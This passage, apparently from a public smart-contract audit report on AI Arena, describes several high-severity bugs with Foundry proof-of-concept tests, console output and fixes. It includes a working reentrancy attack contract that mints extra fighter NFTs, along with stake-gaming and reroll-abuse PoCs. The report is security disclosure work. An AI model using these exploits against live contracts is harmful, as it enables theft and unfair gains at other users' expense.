       if (_fighterFarmContract.ownerOf(0) == _ownerAddress) {
           uint8 maxRerolls = _fighterFarmContract.maxRerollsAllowed(0);
           uint8 exceededLimit = maxRerolls + 1;
           uint8 tokenId = 0;
           uint8 fighterType = 0;
   
           // The Dendroid's generation changed, and maxRerollsAllowed for Dendroid is increased
           uint8 fighterType_Dendroid = 1;
   
           _fighterFarmContract.incrementGeneration(fighterType_Dendroid);
   
           assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType_Dendroid), maxRerolls + 1);
           assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType), maxRerolls); // Champions maxRerollsAllowed is not changed
   
           _neuronContract.addSpender(address(_fighterFarmContract));
   
           _fighterFarmContract.numElementsSetterForPoC(1, 3); // this is added function for poc
   
           for (uint8 i = 0; i < exceededLimit; i++) {
               if (i == (maxRerolls)) {
                   // reRoll with different fighterType
                   assertEq(_fighterFarmContract.numRerolls(tokenId), maxRerolls);
                   _fighterFarmContract.reRoll(tokenId, fighterType_Dendroid);
                   assertEq(_fighterFarmContract.numRerolls(tokenId), exceededLimit);
               } else {
                   _fighterFarmContract.reRoll(tokenId, fighterType);
               }
           }
       }
   }

Recommended Mitigation Steps

Check fighterType at reRoll function.

function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
+   require((fighterType == 1 && fighters[tokenId].dendroidBool) || (fighterType == 0 && !fighters[tokenId].dendroidBool), "Wrong fighterType");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
        (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

raymondfam (lookout) commented:

This report covers three consequences from the same root cause of fighter type validation: 1. more re-rolls, 2. rarer attribute switch, 3. generation attribute switch, with coded POC.

brandinho (AI Arena) confirmed

hickuphh3 (judge) increased severity to High and commented:

Note: issue 212’s fix is a little more elegant.

AI Arena mitigated:

https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/17

Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.

[H-05] Malicious user can stake an amount which causes zero curStakeAtRisk on a loss but equal rewardPoints to a fair user on a win

Submitted by t0x1c, also found by Aamir, peanuts (1, 2), YouCrossTheLineAlfie, ubermensch, d3e4, shaka, alexxander, CodeWasp, 0xDetermination, evmboi32, Honour, DarkTower, ni8mare, Blank_Space, McToady (1, 2), neocrao, PedroZurdo, ZanyBonzy, VAD37, DanielArmstrong, 14si2o_Flint (1, 2), forkforkdog, MidgarAudits, n0kto, Krace, MrPotatoMagic, 0xAadi, 0xBinChook, immeas, btk (1, 2), forgebyola, aslanbek, Draiakoo (1, 2), petro_1912, ktg, israeladelaja, 0xCiphky, Merulez99, swizz, 0rpse, Silvermist, ubl4nk (1, 2), dimulski, erosjohn (1, 2), fnanni, yotov721, Abdessamed, djxploit, csanuragjain (1, 2), Kalogerone, shaflow2, WoolCentaur, Tychai0s, handsomegiraffe, AC000123, VrONTg (1, 2, 3), okolicodes, Velislav4o, and juancito

The _getStakingFactor() function rounds-up the stakingFactor_ to one if its zero. Additionally, the _addResultPoints() function rounds-down the curStakeAtRisk.
Whenever a player loses and has no accumulated reward points, 0.1% of his staked amount is considered “at risk” and transferred to the _stakeAtRiskAddress. However due to the above calculation styles, he can stake just 1 wei of NRN to have zero curStakeAtRisk in case of a loss and in case of a win, still gain the same amount of reward points as a player staking 4e18-1 wei of NRN.

Let’s look at three cases of a player with ELO as 1500:

As can be seen in Case2 vs Case3, a player staking 0.000000000000000001 NRN (1 wei) has the same upside in case of a win as a player staking 3.999999999999999999 NRN (4e18-1 wei) while their downside is 0.

Proof of Concept

Add the following test inside test/RankedBattle.t.sol and run via forge test -vv --mt test_t0x1c_UpdateBattleRecord_SmallStake to see the ouput under the 3 different cases:

    function test_t0x1c_UpdateBattleRecord_SmallStake() public {
        address player = vm.addr(3);
        _mintFromMergingPool(player);
        uint8 tokenId = 0;
        _fundUserWith4kNeuronByTreasury(player);
        
        // snapshot the current state
        uint256 snapshot0 = vm.snapshot();

        vm.prank(player);
        _rankedBattleContract.stakeNRN(4e18, 0);

        console.log("\n\n==================================== CASE 1 ==========================================================");
        emit log_named_decimal_uint("Stats when staked amount =", 4e18, 18);

        // snapshot the current state
        uint256 snapshot0_1 = vm.snapshot();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
        (uint256 wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(wins, 1);
        

        console.log("\n----------------------------------  IF WON  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);

        // Restore to snapshot state
        vm.revertTo(snapshot0_1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
        (,, uint256 losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 1);

        console.log("\n----------------------------------  IF LOST  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);


        // Restore to snapshot state
        vm.revertTo(snapshot0);

        vm.prank(player);
        _rankedBattleContract.stakeNRN(4e18-1, 0);

        console.log("\n\n==================================== CASE 2 ==========================================================");
        emit log_named_decimal_uint("Stats when staked amount =", 4e18-1, 18);

        // snapshot the current state
        uint256 snapshot1_1 = vm.snapshot();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
        (wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(wins, 1);
        

        console.log("\n----------------------------------  IF WON  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);

        // Restore to snapshot state
        vm.revertTo(snapshot1_1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
        (,, losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 1);

        console.log("\n----------------------------------  IF LOST  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);


        // Restore to snapshot state
        vm.revertTo(snapshot0);

        vm.prank(player);
        _rankedBattleContract.stakeNRN(1, 0);

        console.log("\n\n==================================== CASE 3 ==========================================================");
        emit log_named_decimal_uint("Stats when staked amount =", 1, 18);

        // snapshot the current state
        uint256 snapshot2_1 = vm.snapshot();

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 0, 1500, true); // if player had won
        (wins,,) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(wins, 1);
        

        console.log("\n----------------------------------  IF WON  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =:", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);

        // Restore to snapshot state
        vm.revertTo(snapshot2_1);

        vm.prank(address(_GAME_SERVER_ADDRESS));
        _rankedBattleContract.updateBattleRecord(0, 50, 2, 1500, true); // if player had lost
        (,, losses) = _rankedBattleContract.fighterBattleRecord(tokenId);
        assertEq(losses, 1);

        console.log("\n----------------------------------  IF LOST  ---------------------------------------------------");
        console.log("accumulatedPointsPerFighter =", _rankedBattleContract.accumulatedPointsPerFighter(0, 0));
        emit log_named_decimal_uint("getStakeAtRisk =", _stakeAtRiskContract.getStakeAtRisk(tokenId), 18);
        emit log_named_decimal_uint("_rankedBattleContract NRN balance =", _neuronContract.balanceOf(address(_rankedBattleContract)), 18);
        emit log_named_decimal_uint("_stakeAtRiskContract NRN balance =", _neuronContract.balanceOf(address(_stakeAtRiskContract)), 18);
    }

Output:

==================================== CASE 1 ==========================================================
  Stats when staked amount =: 4.000000000000000000

----------------------------------  IF WON  ---------------------------------------------------
  accumulatedPointsPerFighter =: 1500
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 4.000000000000000000
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

----------------------------------  IF LOST  ---------------------------------------------------
  accumulatedPointsPerFighter = 0
  getStakeAtRisk =: 0.004000000000000000
  _rankedBattleContract NRN balance =: 3.996000000000000000
  _stakeAtRiskContract NRN balance =: 0.004000000000000000


==================================== CASE 2 ==========================================================
  Stats when staked amount =: 3.999999999999999999

----------------------------------  IF WON  ---------------------------------------------------
  accumulatedPointsPerFighter =: 750
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 3.999999999999999999
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

----------------------------------  IF LOST  ---------------------------------------------------
  accumulatedPointsPerFighter = 0
  getStakeAtRisk =: 0.003999999999999999
  _rankedBattleContract NRN balance =: 3.996000000000000000
  _stakeAtRiskContract NRN balance =: 0.003999999999999999


==================================== CASE 3 ==========================================================
  Stats when staked amount =: 0.000000000000000001

----------------------------------  IF WON  ---------------------------------------------------
  accumulatedPointsPerFighter =: 750
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 0.000000000000000001
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

----------------------------------  IF LOST  ---------------------------------------------------
  accumulatedPointsPerFighter = 0
  getStakeAtRisk =: 0.000000000000000000
  _rankedBattleContract NRN balance =: 0.000000000000000001
  _stakeAtRiskContract NRN balance =: 0.000000000000000000

Tools used

Foundry

Recommended Mitigation Steps

Protocol can choose to set a minimum stake amount of 4 NRN (4e18 wei). One needs to take care that even after a partial unstake, this amount is not allowed to go below 4 NRN.
Also, do not round up stakingFactor_ i.e. remove L530-L532. An additional check can be added too which ensures that stakingFactor_ is greater than zero:

  File: src/RankedBattle.sol

  519:              function _getStakingFactor(
  520:                  uint256 tokenId, 
  521:                  uint256 stakeAtRisk
  522:              ) 
  523:                  private 
  524:                  view 
  525:                  returns (uint256) 
  526:              {
  527:                uint256 stakingFactor_ = FixedPointMathLib.sqrt(
  528:                    (amountStaked[tokenId] + stakeAtRisk) / 10**18
  529:                );
- 530:                if (stakingFactor_ == 0) {
- 531:                  stakingFactor_ = 1;
- 532:                }
+ 532:                require(stakingFactor_ > 0, "stakingFactor_ = 0");
  533:                return stakingFactor_;
  534:              }    

The above fixes would ensure that curStakeAtRisk can never be gamed to 0 while still having a positive reward potential.
It’s may also be a good idea to have a provision to return any “extra” staked amount. For example, if only 4 NRN is required to achieve a stakingFactor of 1 and the player stakes 4.5 NRN, then the extra 0.5 NRN could be returned. This however is up to the protocol to consider.

raymondfam (lookout) commented:

Strategic dodging to avoid penalty. Might as well fully unstake to make curStakeAtRisk 0. However, points would be zero if at risk penalty were to kick in.

hickuphh3 (judge) increased severity to High

[H-06] FighterFarm::reRoll won’t work for nft id greater than 255 due to input limited to uint8

Submitted by abhishek_thaku_r, also found by pontifex, Fulum, 0xDetermination, Greed, givn, stakog, offside0011, maxim371, ktg, alexzoid, immeas, sashik_eth, korok, Draiakoo, MrPotatoMagic, PoeAudits, Tychai0s, ahmedaghadi, kartik_giri_47538, iamandreiski, fnanni, 0xAlix2, klau5, dimulski, 0xShitgem, yotov721, kiqo, and swizz

FighterFarm::reRoll uses uint8 for nft id as input, which will stop people calling this function who owns id greater than 255. It will lead to not being able to use the reRoll to get random traits, which could have been better for there game performance.

Proof of Concept

Affect code can be seen here.

Adding code snippet below as well, for better clarity:

    /// @notice Rolls a new fighter with random traits.
    /// @param tokenId ID of the fighter being re-rolled.
    /// @param fighterType The fighter type.
@>    function reRoll(uint8 tokenId, uint8 fighterType) public {
        require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }   

If you notice the highlighted line (first line of function), it takes uint8 as input for tokenId parameter. Which will restrict users to call this function when they own nft id greater than 255.

Value will go out of bounds when user will input 256 or more.

Recommended Mitigation Steps

Use uint256 for nft id input to fix the issue.

- function reRoll(uint8 tokenId, uint8 fighterType) public {
+ function reRoll(uint256 tokenId, uint8 fighterType) public {
   require(msg.sender == ownerOf(tokenId));
        require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
        require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

        _neuronInstance.approveSpender(msg.sender, rerollCost);
        bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
        if (success) {
            numRerolls[tokenId] += 1;
            uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
            (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
            fighters[tokenId].element = element;
            fighters[tokenId].weight = weight;
            fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
                newDna,
                generation[fighterType],
                fighters[tokenId].iconsType,
                fighters[tokenId].dendroidBool
            );
            _tokenURIs[tokenId] = "";
        }
    }

raymondfam (lookout) commented:

Unsigned integer type limitation indeed.

brandinho (AI Arena) confirmed

AI Arena mitigated:

Fixed reRoll for fighters with tokenIds greater than 255.
https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/1

Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.

[H-07] Fighters cannot be minted after the initial generation due to uninitialized numElements mapping

Submitted by haxatron, also found by visualbits, vnavascues, sandy, shaka, alexxander, evmboi32, DarkTower, VAD37, 0xStriker, DanielArmstrong (1, 2), 14si2o_Flint, MidgarAudits, Ryonen, KupiaSec, Topmark, 0xmystery, AgileJune, immeas, MrPotatoMagic, sashik_eth, soliditywala, nuthan2x, 0xaghas, merlinboii, VrONTg, Krace, ke1caM, Draiakoo, petro_1912, PoeAudits, ktg, 0xCiphky, Tychai0s, EagleSecurity, lil_eth, 0xvj, _eperezok, pkqs90, pynschon, peter, Aamir, sl1, 0xAlix2, fnanni, alexzoid, blutorque, cartlex_, Giorgio, radin100, klau5, t0x1c, WoolCentaur, jesjupyter, aslanbek, SpicyMeatball, 0xbranded, Varun_05, d3e4, juancito, 0xlamide, Aymen0909, btk, devblixt, and ubl4nk

In FighterFarm.sol there is a mapping numElements which stores the number of possible types of elements a fighter can have in a generation:

FighterFarm.sol#L84-L85

    /// @notice Mapping of number elements by generation.
    mapping(uint8 => uint8) public numElements;

But the problem here is that only the initial generation, Generation 0, is initialized to 3, in the numElements mapping during the constructor of FighterFarm.sol.

FighterFarm.sol#L100-L111

    /// @notice Sets the owner address, the delegated address.
    /// @param ownerAddress Address of contract deployer.
    /// @param delegatedAddress Address of delegated signer for messages.
    /// @param treasuryAddress_ Community treasury address.
    constructor(address ownerAddress, address delegatedAddress, address treasuryAddress_)
        ERC721("AI Arena Fighter", "FTR")
    {
        _ownerAddress = ownerAddress;
        _delegatedAddress = delegatedAddress;
        treasuryAddress = treasuryAddress_;
        numElements[0] = 3;
    } 

It is therefore not possible to write to the numElements mapping for any other generations. As they are uninitialized, numElements[i] = 0 when i != 0

Moreover, this numElements mapping is read from when creating a fighter.

FighterFarm.sol#L458-L474

    /// @notice Creates the base attributes for the fighter.
    /// @param dna The dna of the fighter.
    /// @param fighterType The type of the fighter.
    /// @return Attributes of the new fighter: element, weight, and dna.
    function _createFighterBase(
        uint256 dna, 
        uint8 fighterType
    ) 
        private 
        view 
        returns (uint256, uint256, uint256) 
    {
=>      uint256 element = dna % numElements[generation[fighterType]]; // numElements is 0 when generation[fighterType] != 0.
        uint256 weight = dna % 31 + 65;
        uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
        return (element, weight, newDna);
    }

Therefore if the protocol updates to a new generation of fighters, it will not be able to create anymore new fighters as numElements[generation[fighterType]] will be uninitialized and therefore equal 0. This will cause the transaction to always revert as any modulo by 0 will cause a panic according to Solidity Docs

Modulo with zero causes a Panic error. This check can not be disabled through unchecked { … }.

Recommended Mitigation Steps

Allow the admin to update the numElements mapping when a new generation is created.

raymondfam (lookout) commented:

Missing numElements[generation[fighterType]] setter.

brandinho (AI Arena) confirmed

AI Arena mitigated:

https://github.com/ArenaX-Labs/2024-02-ai-arena-mitigation/pull/7

Status: Mitigation confirmed. Full details in reports from niser93, d3e4, and fnanni.

[H-08] Player can mint more fighter NFTs during claim of rewards by leveraging reentrancy on the claimRewards() function

Submitted by DarkTower, also found by alexxander, 0brxce, BoRonGod, 0xDetermination, evmboi32, grearlake, PedroZurdo, BARW, sl1, Krace, Zac, Tricko, Aymen0909, immeas, rouhsamad, sashik_eth, ke1caM, 0xCiphky, MrPotatoMagic, jnforja, 0xBinChook, web3pwn, 0xLogos, bhilare_, Kow, ubl4nk, zxriptor, djxploit, solmaxis69, klau5, haxatron, and ZanyBonzy

When a fighting round ends, winners for the current round get picked and allocated respective rewards. These rewards are fighter NFTs that can be claimed by such winners. When you claim your rewards for a round or several rounds, the numRoundsClaimed state variable which stores the number of rounds you’ve claimed for gets updated to reflect your claim and each winner can only ever claim up to the amounts they win for each given round. That means if you try to batch-claim for two given rounds for which you won 2 fighter NFTs, your NFT count after the claim should be whatever your current balance of NFT is plus 2 fighter NFTs.

The issue here is that there’s a way to mint additional fighter NFTs on top of the fighter NFTs you’re owed for winning even though the claimRewards function has implemented a decent system to prevent over-claims. For one, it’s relatively complex to spoof a call pretending to be the _mergingPoolAddress to mint but a malicious user doesn’t need to worry too much about that to mint more fighters; they just need to leverage using a smart contract for engineering a simple reentrancy.

Proof of Concept

Consider this call path that allows a malicious user to reach this undesired state:

1. In-session fight round gets finalized.
2. An admin picks winners for the just finalized round.
3. Alice, one of the winners is entitled to 2 fighter NFTs just like Bob and decides to claim rewards for the rounds she participated in but keep in mind she joined the game with a smart contract.
4. Alice calls claimRewards supplying the args (string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes)
5. Those are valid arguments, hence the loop proceeds to make 2 NFT mints to her address.
6. Her address, being a smart contract manages to reenter the call to mint additional NFTs.
7. Alice ends up with more fighter NFTs instead of 2. Bob, who is an EOA gets the 2 NFTs he’s owed but Alice has managed to gain more.

The root cause of this issue stems from the roundId. The amount of times you can reenter the claimRewards function depends on the roundId. So let’s say the roundId is 3, it mints 6 NFTs:

• First loop mints once
• Reenter mints the second time
• Reenter again mints the third time
• Cannot reenter anymore
• Control is released so the call goes back to the second loop & finishes the mint
• Call goes back & finishes the second and third mint
• Alice or malicious caller ends up with 6 NFTs instead of 3

Here’s a POC to show one such attack path in the code Place the code in the MergingPool.t.sol test contract and do the setup: testReenterPOC is the attack POC test

Attack contract:

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Attack is IERC721Receiver {
    
    address owner;
    uint256 tickets = 0;
    MergingPool mergingPool;
    FighterFarm fighterFarm;

    constructor(address mergingPool_, address fighterFarm_) {
        mergingPool = MergingPool(mergingPool_);
        fighterFarm = FighterFarm(fighterFarm_);
        owner = msg.sender;
    }
    function reenter() internal {
        ++tickets;
        if (tickets < 100) {
            (string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation();
            mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        }
    }

    function onERC721Received(address, address, uint256 tokenId, bytes calldata) public returns (bytes4) {
        reenter();
        return IERC721Receiver.onERC721Received.selector;
    }
    function attack() public {
        (string[] memory _modelURIs, string[] memory _modelTypes, uint256[2][] memory _customAttributes) = setInformation();
        mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);
    } 

    function setInformation() public pure returns (string[] memory, string[] memory, uint256[2][] memory) {
        string[] memory _modelURIs = new string[](3);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[2] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](3);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        _modelTypes[2] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](3);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        _customAttributes[2][0] = uint256(1);
        _customAttributes[2][1] = uint256(80);

        return (_modelURIs, _modelTypes, _customAttributes);
    }  
}

    function testReenterPOC() public {

        address Bob = makeAddr("Bob");
        Attack attacker = new Attack(address(_mergingPoolContract), address(_fighterFarmContract));
        
        _mintFromMergingPool(address(attacker));
        _mintFromMergingPool(Bob);

        assertEq(_fighterFarmContract.ownerOf(0), address(attacker));
        assertEq(_fighterFarmContract.ownerOf(1), Bob);

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

         // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);  
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == address(attacker), true);
        // winner matches ownerOf tokenId
        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == Bob, true);

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        // winners of roundId 1 are picked

        uint256 numberOfRounds = _mergingPoolContract.roundId();
        console.log("Number of Rounds: ", numberOfRounds);

        _mergingPoolContract.pickWinner(_winners);
        _mergingPoolContract.pickWinner(_winners);

        console.log("------------------------------------------------------");

        console.log("Balance of attacker (Alice) address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(attacker)));
        // console.log("Balance of Bob address pre-claim rewards: ", _fighterFarmContract.balanceOf(Bob));


        uint256 numRewardsForAttacker = _mergingPoolContract.getUnclaimedRewards(address(attacker));
        
        // uint256 numRewardsForBob = _mergingPoolContract.getUnclaimedRewards(Bob);

        console.log("------------------------------------------------------");

        console.log("Number of unclaimed rewards attacker (Alice) address has a claim to: ", numRewardsForAttacker);
        // console.log("Number of unclaimed rewards Bob address has a claim to: ", numRewardsForBob);
        
        // vm.prank(Bob);
        // _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        vm.prank(address(attacker));
        attacker.attack();

        uint256 balanceOfAttackerPostClaim = _fighterFarmContract.balanceOf(address(attacker));

        console.log("------------------------------------------------------");
        console.log("Balance of attacker (Alice) address post-claim rewards: ", balanceOfAttackerPostClaim);
        // console.log("Balance of Bob address post-claim rewards: ", _fighterFarmContract.balanceOf(Bob));

    }

Malicious user leveraging reentrancy test result:

[PASS] testReenterPOC() (gas: 3999505)
Logs:
  Number of Rounds:  1
  ------------------------------------------------------
  Balance of attacker (Alice) address pre-claim rewards:  1
  ------------------------------------------------------
  Number of unclaimed rewards attacker (Alice) address has a claim to:  3
  ------------------------------------------------------
  Balance of attacker (Alice) address post-claim rewards:  7

function testNormalEOAClaim() public {
        _mintFromMergingPool(_ownerAddress);
        _mintFromMergingPool(_DELEGATED_ADDRESS);
        
        assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
        assertEq(_fighterFarmContract.ownerOf(1), _DELEGATED_ADDRESS);

        uint256[] memory _winners = new uint256[](2);
        _winners[0] = 0;
        _winners[1] = 1;

        // winners of roundId 0 are picked
        _mergingPoolContract.pickWinner(_winners);
        assertEq(_mergingPoolContract.isSelectionComplete(0), true);
        assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
        // winner matches ownerOf tokenId
        assertEq(_mergingPoolContract.winnerAddresses(0, 1) == _DELEGATED_ADDRESS, true);

        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);
        // winners of roundId 1 are picked

        uint256 numberOfRounds = _mergingPoolContract.roundId();
        console.log("Number of Rounds: ", numberOfRounds);

        _mergingPoolContract.pickWinner(_winners);

        console.log("Balance of owner address pre-claim rewards: ", _fighterFarmContract.balanceOf(address(this)));
        console.log("Balance of delegated address pre-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));


        uint256 numRewardsForWinner = _mergingPoolContract.getUnclaimedRewards(_ownerAddress);
        
        uint256 numRewardsForDelegated = _mergingPoolContract.getUnclaimedRewards(_DELEGATED_ADDRESS);
        // emit log_uint(numRewardsForWinner);

        console.log("Number of unclaimed rewards owner address has a claim to: ", numRewardsForWinner);
        console.log("Number of unclaimed rewards delegated address has a claim to: ", numRewardsForDelegated);

        // winner claims rewards for previous roundIds
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);
        vm.prank(_DELEGATED_ADDRESS);
        _mergingPoolContract.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        console.log("Balance of owner address post-claim rewards: ", _fighterFarmContract.balanceOf(address(this)));
        console.log("Balance of delegated address post-claim rewards: ", _fighterFarmContract.balanceOf(_DELEGATED_ADDRESS));
    }

Non-malicious users doing a normal claim result:

[PASS] testNormalEOAClaim() (gas: 2673123)
Logs:
  Number of Rounds:  1
  Balance of owner address pre-claim rewards:  1
  Balance of delegated address pre-claim rewards:  1
  Number of unclaimed rewards owner address has a claim to:  2
  Number of unclaimed rewards delegated address has a claim to:  2
  Balance of owner address post-claim rewards:  3
  Balance of delegated address post-claim rewards:  3

Recommended Mitigation Steps

Use a nonReentrant modifier for the claimRewards function.

brandinho (AI Arena) confirmed

AI Arena mitigated:

